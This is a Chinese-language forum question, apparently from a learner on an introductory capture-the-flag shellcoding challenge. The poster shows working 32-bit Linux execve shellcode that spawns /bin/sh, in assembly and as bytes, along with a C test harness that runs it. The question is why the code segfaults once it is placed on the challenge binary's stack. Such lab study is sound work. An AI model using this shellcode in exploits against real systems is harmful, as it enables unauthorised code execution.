目前正在解决一个介绍性的 shellcoding 挑战,并且无法让 shellcode 一致地工作。
我正在研究 32 位 Linux 二进制文件。我找到了这个shellcode:
http://shell-storm.org/shellcode/files/shellcode-827.php
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
作为第一步,我在一个简单的测试程序中运行了 shellcode:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Shellcode 在这个测试程序中完美运行。当我将 shellcode 移动到实际的挑战二进制文件中时,问题就开始了。我可以在 GDB 中确认:
- 代码执行被重定向到堆栈中。
- shellcode 程序集在堆栈中是正确的。
但是,当程序执行到 shellcode 中的这两行之一时:
0xffffd0e4: push %ebx
0xffffd0e5: mov %esp,%ecx
我得到:
SIGSEGV, Segmentation fault
我的问题是:为什么在测试程序中工作的 shellcode 在实际二进制文件中失败?我将如何解决这个问题?
谢谢!